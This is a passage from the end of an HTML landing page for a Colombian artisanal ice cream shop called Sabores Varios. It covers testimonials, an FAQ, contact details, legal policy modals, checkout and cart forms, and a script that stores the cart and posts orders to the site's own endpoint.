          <div class="product-footer"><span class="product-price">$38.000</span><button class="product-btn" type="button" onclick="addToCart('Aventura en Chocolate','$38.000','🍫',this)">🛒 Agregar</button></div>
        </div></article></div></div></section>
<section class="stats"><div class="container"><div class="stats-grid"><div><div class="stat-value">15+</div><div class="stat-label">Años de tradición</div></div><div><div class="stat-value">8,000+</div><div class="stat-label">Clientes felices</div></div><div><div class="stat-value">42K+</div><div class="stat-label">Productos vendidos</div></div><div><div class="stat-value">4.9★</div><div class="stat-label">Calificación</div></div></div></div></section>
<section id="beneficios"><div class="container">
    <div class="section-head"><div class="section-eyebrow">Por que elegirnos</div>
      <h2>Sabores auténticos, calidad superior</h2></div>
    <div class="benefits-grid"><div class="benefit"><div class="benefit-icon">🌱</div><div class="benefit-body"><h3>Ingredientes frescos</h3><p>Usamos frutas y ingredientes de temporada.</p></div></div><div class="benefit"><div class="benefit-icon">🍰</div><div class="benefit-body"><h3>Recetas tradicionales</h3><p>Cada sabor es una receta única.</p></div></div><div class="benefit"><div class="benefit-icon">🚚</div><div class="benefit-body"><h3>Envío a todo Colombia</h3><p>Llegan directamente a tu casa.</p></div></div><div class="benefit"><div class="benefit-icon">😍</div><div class="benefit-body"><h3>Satisfacción garantizada</h3><p>Si no amas nuestros helados, te devolvemos el dinero.</p></div></div><div class="benefit"><div class="benefit-icon">🌱</div><div class="benefit-body"><h3>Responsabilidad social</h3><p>Apoyamos a pequeños productores locales.</p></div></div><div class="benefit"><div class="benefit-icon">💰</div><div class="benefit-body"><h3>Precios justos</h3><p>Calidad premium sin sobreprecios.</p></div></div></div></div></section>
<section id="testimonios" class="testimonials"><div class="container">
    <div class="section-head"><div class="section-eyebrow">Testimonios</div>
      <h2>Lo que dicen nuestros clientes</h2></div>
    <div class="testimonials-grid testimonials-grid--marquee"><div class="testimonial"><div class="testimonial-rating">★★★★★</div>
        <p>¡Los mejores helados que he probado en Colombia!</p>
        <div class="testimonial-author"><div class="testimonial-avatar">C</div>
          <div><div class="testimonial-name">Carlos Ramirez</div>
          <div class="testimonial-role">Bogotá</div></div></div></div><div class="testimonial"><div class="testimonial-rating">★★★★★</div>
        <p>Sabor auténtico y frescura incomparables.</p>
        <div class="testimonial-author"><div class="testimonial-avatar">L</div>
          <div><div class="testimonial-name">Laura Sanchez</div>
          <div class="testimonial-role">Medellín</div></div></div></div><div class="testimonial"><div class="testimonial-rating">★★★★</div>
        <p>Excelente calidad, recomiendo probar el sorbet de mango.</p>
        <div class="testimonial-author"><div class="testimonial-avatar">J</div>
          <div><div class="testimonial-name">Juan Perez</div>
          <div class="testimonial-role">Cali</div></div></div></div><div class="testimonial"><div class="testimonial-rating">★★★★★</div>
        <p>Un deleite para los amantes del helado artesanal.</p>
        <div class="testimonial-author"><div class="testimonial-avatar">M</div>
          <div><div class="testimonial-name">María Villamizar</div>
          <div class="testimonial-role">Barranquilla</div></div></div></div><div class="testimonial"><div class="testimonial-rating">★★★★</div>
        <p>Sabor y textura perfectos, una experiencia única en Colombia.</p>
        <div class="testimonial-author"><div class="testimonial-avatar">A</div>
          <div><div class="testimonial-name">Andrés Gómez</div>
          <div class="testimonial-role">Cartagena</div></div></div></div><div class="testimonial"><div class="testimonial-rating">★★★★★</div>
        <p>¡Una delicia que vale cada peso!</p>
        <div class="testimonial-author"><div class="testimonial-avatar">A</div>
          <div><div class="testimonial-name">Ana Rojas</div>
          <div class="testimonial-role">Bucaramanga</div></div></div></div></div></div></section>
<section class="newsletter"><div class="container">
    <div class="newsletter-card"><div class="section-eyebrow">Newsletter</div>
      <h2>Suscríbete</h2>
      <p></p>
      <form class="newsletter-form" onsubmit="return submitNewsletter(event)">
        <input type="email" name="email" placeholder="tu@correo.com" required>
        <button type="submit">Suscribirme</button></form>
    </div></div></section>
<section id="faq"><div class="container">
    <div class="section-head"><div class="section-eyebrow">FAQ</div>
      <h2>Preguntas frecuentes</h2></div>
    <div class="faq-list"><details class="faq-item"><summary>¿Qué sabores de helado tienen disponibles?</summary><p>Ofrecemos una variedad de sabores, desde frutas tropicales hasta clásicos como vainilla y chocolate.</p></details><details class="faq-item"><summary>¿Cómo se conservan los helados artesanales?</summary><p>Nuestros helados se mantienen en un congelador especial para preservar su frescura y sabor.</p></details><details class="faq-item"><summary>¿Dónde pueden comprarse sus productos?</summary><p>Actualmente vendemos nuestros helados a través de nuestra página web y puntos de venta seleccionados en Colombia.</p></details><details class="faq-item"><summary>¿Qué hace que sus helados sean artesanales?</summary><p>Nuestros helados se preparan con ingredientes frescos y recetas tradicionales, sin aditivos químicos.</p></details><details class="faq-item"><summary>¿Ofrecen envío a domicilio?</summary><p>Sí, ofrecemos servicio de entrega a domicilio en ciudades seleccionadas.</p></details><details class="faq-item"><summary>¿Cómo puedo hacer un pedido para una fiesta o evento?</summary><p>Para pedidos especiales, por favor contáctenos directamente y haremos lo posible por atender su solicitud.</p></details></div></div></section>
<section id="contacto"><div class="container">
    <div class="section-head"><div class="section-eyebrow">Contacto</div>
      <h2>Hablemos</h2></div>
    <div class="contact-grid">
      <div class="contact-card"><div class="contact-icon">📧</div><h4>Correo</h4><a href="mailto:contacto@saboresvarios.xyz">contacto@saboresvarios.xyz</a></div>
      <div class="contact-card"><div class="contact-icon">📱</div><h4>Teléfono</h4><a href="tel:+57 312 456 7890">+57 312 456 7890</a></div>
      <div class="contact-card"><div class="contact-icon">💬</div><h4>WhatsApp</h4><a href="https://wa.me/573124567890" target="_blank" rel="noopener">Chatea con nosotros</a></div>
      <div class="contact-card"><div class="contact-icon">📍</div><h4>Visítanos</h4><span>Bogotá, Colombia</span></div>
    </div></div></section>
<section class="cta-final"><div class="container">
    <h2>¿Listo para empezar?</h2>
    <p></p>
    <form class="cta-form" onsubmit="return submitLead(event, this)">
      <input type="text" name="nombre" placeholder="Tu nombre" required>
      <input type="email" name="email" placeholder="Tu correo" required>
      <input type="tel" name="telefono" placeholder="Teléfono (opcional)">
      <textarea name="mensaje" placeholder="Cuéntanos qué buscas (opcional)" rows="3"></textarea>
      <button type="submit">Enviar</button>
    </form></div></section>
<footer><div class="container">
  <div class="footer-top">
    <div>
      <a href="#" class="brand"><span class="brand-emoji">🍨</span> Sabores Varios</a>
      <p class="footer-tagline">Dulzura en cada bocado</p>
      <div class="footer-social"><a href="#" aria-label="Instagram">📷</a><a href="#" aria-label="Facebook">📘</a><a href="#" aria-label="TikTok">🎵</a></div>
    </div>
    <div class="footer-col"><h4>Producto</h4><a href="#productos">Catálogo</a><a href="#beneficios">Beneficios</a><a href="#testimonios">Reseñas</a></div>
    <div class="footer-col"><h4>Empresa</h4><a href="#contacto">Contacto</a><a href="#faq">Preguntas</a><button type="button" onclick="openModal('m-envios')">Envíos</button><button type="button" onclick="openModal('m-devoluciones')">Devoluciones</button></div>
    <div class="footer-col"><h4>Legal</h4><button type="button" onclick="openModal('m-privacidad')">Privacidad</button><button type="button" onclick="openModal('m-terminos')">Términos</button><button type="button" onclick="openModal('m-cookies')">Cookies</button></div>
  </div>
  <div class="footer-bottom">© 2026 Sabores Varios. Datos protegidos según Ley 1581 de Colombia. Entrega 5–10 días hábiles.</div>
</div></footer>
<div class="modal" id="m-privacidad" onclick="if(event.target===this)closeModal('m-privacidad')"><div class="modal-content"><button class="modal-close" onclick="closeModal('m-privacidad')" aria-label="Cerrar">×</button><h2>Política de Privacidad</h2><p>En <strong>Sabores Varios</strong> protegemos tu privacidad conforme a la Ley 1581 de 2012 de Colombia.</p>
<h3>Responsable</h3><p>Sabores Varios, en Bogotá, trata tus datos. Contacto: contacto@saboresvarios.xyz.</p>
<h3>Datos que recopilamos</h3><ul><li>Identificación: nombre, correo, teléfono.</li><li>Envío: dirección y ciudad.</li><li>Técnicos: IP, navegador (cookies).</li></ul>
<h3>Finalidades</h3><ul><li>Procesar compras y entregas.</li><li>Enviar información si te suscribes.</li><li>Mejorar el sitio.</li><li>Cumplir obligaciones legales.</li></ul>
<h3>Derechos</h3><p>Puedes conocer, actualizar, rectificar, suprimir tus datos y revocar la autorización escribiendo a contacto@saboresvarios.xyz.</p>
<h3>Seguridad</h3><p>No vendemos tus datos. Aplicamos medidas razonables de protección.</p>
<p style="margin-top:1.2rem;font-size:.85rem">Última actualización: 2026.</p></div></div><div class="modal" id="m-terminos" onclick="if(event.target===this)closeModal('m-terminos')"><div class="modal-content"><button class="modal-close" onclick="closeModal('m-terminos')" aria-label="Cerrar">×</button><h2>Términos y Condiciones</h2><p>Al usar el sitio de <strong>Sabores Varios</strong> aceptas estos términos.</p>
<h3>1. Servicio</h3><p>Ofrecemos productos seleccionados; imágenes y descripciones son referenciales.</p>
<h3>2. Precios y pagos</h3><p>Precios en pesos colombianos (COP). Aceptamos los medios habilitados al comprar.</p>
<h3>3. Propiedad intelectual</h3><p>El contenido es de Sabores Varios o se usa con autorización.</p>
<h3>4. Responsabilidad</h3><p>No respondemos por daños indirectos más allá del valor de la compra.</p>
<h3>5. Jurisdicción</h3><p>Se rige por las leyes de Colombia, jueces de Bogotá.</p>
<p style="margin-top:1.2rem;font-size:.85rem">Última actualización: 2026.</p></div></div><div class="modal" id="m-devoluciones" onclick="if(event.target===this)closeModal('m-devoluciones')"><div class="modal-content"><button class="modal-close" onclick="closeModal('m-devoluciones')" aria-label="Cerrar">×</button><h2>Política de Devoluciones</h2><h3>Plazo</h3><p>Tienes <strong>7 días hábiles</strong> desde la recepción para solicitar devolución o cambio.</p>
<h3>Condiciones</h3><ul><li>Producto en empaque original, sin uso.</li><li>Adjuntar comprobante.</li><li>Perecederos o personalizados pueden no aplicar.</li></ul>
<h3>Proceso</h3><p>Escríbenos a contacto@saboresvarios.xyz con tu número de pedido. Verificado el retorno, procesamos reembolso o cambio en 5–10 días hábiles.</p></div></div><div class="modal" id="m-envios" onclick="if(event.target===this)closeModal('m-envios')"><div class="modal-content"><button class="modal-close" onclick="closeModal('m-envios')" aria-label="Cerrar">×</button><h2>Política de Envíos</h2><h3>Cobertura</h3><p>Enviamos a todo el territorio colombiano.</p>
<h3>Tiempos</h3><table><tr><th>Destino</th><th>Tiempo</th></tr><tr><td>Áreas metropolitanas</td><td>2–4 días hábiles</td></tr><tr><td>Capitales</td><td>4–7 días hábiles</td></tr><tr><td>Resto del país</td><td>7–10 días hábiles</td></tr></table>
<h3>Costos</h3><p>Se calcula al comprar según destino. Pedidos sobre $100.000 COP: envío gratis.</p></div></div><div class="modal" id="m-cookies" onclick="if(event.target===this)closeModal('m-cookies')"><div class="modal-content"><button class="modal-close" onclick="closeModal('m-cookies')" aria-label="Cerrar">×</button><h2>Política de Cookies</h2><p>Usamos cookies propias y de terceros para mejorar tu experiencia y analizar el uso del sitio.</p>
<h3>Tipos</h3><table><tr><th>Tipo</th><th>Finalidad</th><th>Duración</th></tr><tr><td>Necesarias</td><td>Funcionamiento básico.</td><td>Sesión</td></tr><tr><td>Funcionales</td><td>Recordar preferencias.</td><td>30 días</td></tr><tr><td>Analíticas</td><td>Medir tráfico.</td><td>1 año</td></tr></table>
<h3>Consentimiento</h3><p>Gestiona tu elección desde el banner inferior; se guarda en tu navegador.</p></div></div><div class="modal" id="m-checkout" onclick="if(event.target===this)closeModal('m-checkout')">
  <div class="modal-content" style="max-width:520px">
    <button class="modal-close" onclick="closeModal('m-checkout')" aria-label="Cerrar">×</button>
    <h2>Finalizar pedido</h2>
    <div class="checkout-summary" id="checkoutSummary"></div>
    <form class="checkout-form" onsubmit="return submitCheckout(event, this)">
      <label>Nombre completo<input type="text" name="nombre" required></label>
      <label>Correo<input type="email" name="email" required></label>
      <label>Teléfono / WhatsApp<input type="tel" name="telefono" required></label>
      <label>Ciudad<input type="text" name="ciudad" required></label>
      <label>Dirección de envío<input type="text" name="direccion" required></label>
      <label>Notas (opcional)<textarea name="notas" rows="2"></textarea></label>
      <button type="submit">Confirmar pedido</button>
    </form></div></div><div class="cart-overlay" id="cartOverlay" onclick="closeCart()"></div>
<aside class="cart-panel" id="cartPanel" aria-label="Carrito">
  <div class="cart-header"><h3>🛒 Tu carrito</h3><button class="modal-close" onclick="closeCart()" aria-label="Cerrar">×</button></div>
  <div class="cart-body" id="cartBody"><div class="cart-empty"><div class="icon">🛒</div><p>Tu carrito está vacío</p></div></div>
  <div class="cart-footer" id="cartFooter" style="display:none">
    <div class="cart-total"><span>Total</span><span class="amount" id="cartTotalAmount">$0</span></div>
    <button class="cart-checkout-btn" onclick="openCheckout()">Continuar al pago →</button>
  </div></aside><div class="cookie-banner" id="cookieBanner">
  <p>🍪 Usamos cookies para mejorar tu experiencia. <a href="#" onclick="event.preventDefault();openModal('m-cookies')">Más información</a>.</p>
  <div class="cookie-actions"><button class="essential-only" onclick="cookieConsent('essential')">Solo necesarias</button><button class="accept-all" onclick="cookieConsent('all')">Aceptar todas</button></div>
</div>
<a class="sticky-mobile" href="https://wa.me/573124567890" target="_blank" rel="noopener">💬 WhatsApp</a>
<button class="scroll-top" id="scrollTop" aria-label="Volver arriba">↑</button>
<div class="toast" id="toast"></div>
<script>
var CART_KEY="cart_saboresvarios.xyz";
var fmtCOP=function(n){return "$"+Math.round(n).toLocaleString("es-CO");};
function $(id){return document.getElementById(id);}
function getCart(){try{return JSON.parse(localStorage.getItem(CART_KEY))||[];}catch(e){return [];}}
function setCart(items){localStorage.setItem(CART_KEY,JSON.stringify(items));renderCart();}
function priceToNumber(s){if(typeof s==="number")return s;return parseFloat(String(s).replace(/[^\d,.-]/g,"").replace(/\.(?=\d{3})/g,"").replace(",","."))||0;}
function addToCart(name,price,emoji,btn){var cart=getCart();var ex=cart.find(function(i){return i.name===name;});if(ex)ex.qty+=1;else cart.push({name:name,price:priceToNumber(price),emoji:emoji,qty:1});setCart(cart);toast('✓ "'+name+'" añadido');openCart();if(btn){btn.classList.add("added");btn.textContent="✓ Añadido";setTimeout(function(){btn.classList.remove("added");btn.innerHTML="🛒 Agregar";},1400);}}
function changeQty(i,d){var c=getCart();if(!c[i])return;c[i].qty+=d;if(c[i].qty<=0)c.splice(i,1);setCart(c);}
function removeFromCart(i){var c=getCart();c.splice(i,1);setCart(c);}
function renderCart(){var cart=getCart();var body=$("cartBody"),footer=$("cartFooter"),badge=$("cartBadge");if(!badge)return;var count=cart.reduce(function(s,i){return s+i.qty;},0);badge.textContent=count;badge.classList.toggle("visible",count>0);if(!body)return;if(cart.length===0){body.innerHTML='<div class="cart-empty"><div class="icon">🛒</div><p>Tu carrito está vacío</p></div>';if(footer)footer.style.display="none";return;}body.innerHTML=cart.map(function(it,i){return '<div class="cart-item"><div class="cart-item-visual">'+(it.emoji||"📦")+'</div><div class="cart-item-info"><h4>'+it.name+'</h4><div class="price">'+fmtCOP(it.price)+(it.qty>1?" × "+it.qty+" = "+fmtCOP(it.price*it.qty):"")+'</div><div class="cart-qty"><button type="button" onclick="changeQty('+i+',-1)">−</button><span>'+it.qty+'</span><button type="button" onclick="changeQty('+i+',1)">+</button></div></div><button class="cart-item-remove" type="button" onclick="removeFromCart('+i+')">×</button></div>';}).join("");var total=cart.reduce(function(s,i){return s+i.price*i.qty;},0);var ta=$("cartTotalAmount");if(ta)ta.textContent=fmtCOP(total);if(footer)footer.style.display="block";}
function openCart(){var o=$("cartOverlay"),p=$("cartPanel");if(!p)return;o.classList.add("open");p.classList.add("open");document.body.style.overflow="hidden";}
function closeCart(){var o=$("cartOverlay"),p=$("cartPanel");if(!p)return;o.classList.remove("open");p.classList.remove("open");document.body.style.overflow="";}
function openModal(id){var m=$(id);if(m){m.classList.add("open");document.body.style.overflow="hidden";}}
function closeModal(id){var m=$(id);if(m){m.classList.remove("open");document.body.style.overflow="";}}
document.addEventListener("keydown",function(e){if(e.key==="Escape"){document.querySelectorAll(".modal.open").forEach(function(m){closeModal(m.id);});closeCart();}});
function openCheckout(){var cart=getCart();if(!cart.length)return;var sm=$("checkoutSummary");var total=cart.reduce(function(s,i){return s+i.price*i.qty;},0);if(sm)sm.innerHTML=cart.map(function(i){return '<div class="item"><span>'+(i.emoji||"•")+" "+i.name+" × "+i.qty+'</span><span>'+fmtCOP(i.price*i.qty)+'</span></div>';}).join("")+'<div class="item total"><span>Total</span><span>'+fmtCOP(total)+'</span></div>';closeCart();openModal("m-checkout");}
function submitCheckout(ev,form){ev.preventDefault();var btn=form.querySelector("button[type=submit]");btn.disabled=true;btn.textContent="Enviando...";var data=Object.fromEntries(new FormData(form).entries());data.cart=getCart();data.total=data.cart.reduce(function(s,i){return s+i.price*i.qty;},0);fetch("/lead",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({tipo:"checkout",data:data})}).then(function(r){return r.json().catch(function(){return {};});}).then(function(){form.innerHTML='<div style="text-align:center;padding:2rem"><div style="font-size:3rem">✅</div><h3 style="margin:1rem 0">¡Pedido recibido!</h3><p>Te contactaremos pronto.</p></div>';setCart([]);}).catch(function(){btn.disabled=false;btn.textContent="Confirmar pedido";toast("⚠ No se pudo enviar");});return false;}
function submitLead(ev,form){ev.preventDefault();var btn=form.querySelector("button[type=submit]");var o=btn.textContent;btn.disabled=true;btn.textContent="Enviando...";var data=Object.fromEntries(new FormData(form).entries());fetch("/lead",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify(data)}).then(function(r){if(r.ok){btn.textContent="¡Mensaje enviado!";form.reset();setTimeout(function(){btn.disabled=false;btn.textContent=o;},3000);}else throw 0;}).catch(function(){btn.disabled=false;btn.textContent=o;toast("⚠ Error al enviar");});return false;}
function submitNewsletter(ev){ev.preventDefault();var form=ev.target;var btn=form.querySelector("button");btn.disabled=true;btn.textContent="...";var email=form.querySelector("input[name=email]").value;fetch("/lead",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({tipo:"newsletter",email:email})}).then(function(r){if(r.ok){btn.textContent="¡Gracias!";form.reset();}else throw 0;}).catch(function(){btn.textContent="Suscribirme";btn.disabled=false;toast("⚠ Error");});return false;}
var cb=$("cookieBanner");if(cb&&!localStorage.getItem("cookie_consent"))setTimeout(function(){cb.classList.add("show");},800);
function cookieConsent(level){localStorage.setItem("cookie_consent",level);if(cb)cb.classList.remove("show");}
var stp=$("scrollTop");if(stp){window.addEventListener("scroll",function(){stp.classList.toggle("visible",window.scrollY>600);});stp.addEventListener("click",function(){window.scrollTo({top:0,behavior:"smooth"});});}
var obs=new IntersectionObserver(function(es){es.forEach(function(e){if(e.isIntersecting)e.target.classList.add("in");});},{threshold:.12});
document.querySelectorAll(".benefit,.product,.testimonial,.process-item,.contact-card").forEach(function(el){el.classList.add("reveal");obs.observe(el);});
var toastTimer;function toast(msg){var t=$("toast");if(!t)return;t.textContent=msg;t.classList.add("show");clearTimeout(toastTimer);toastTimer=setTimeout(function(){t.classList.remove("show");},2400);}
renderCart();
</script>
</body>
</html>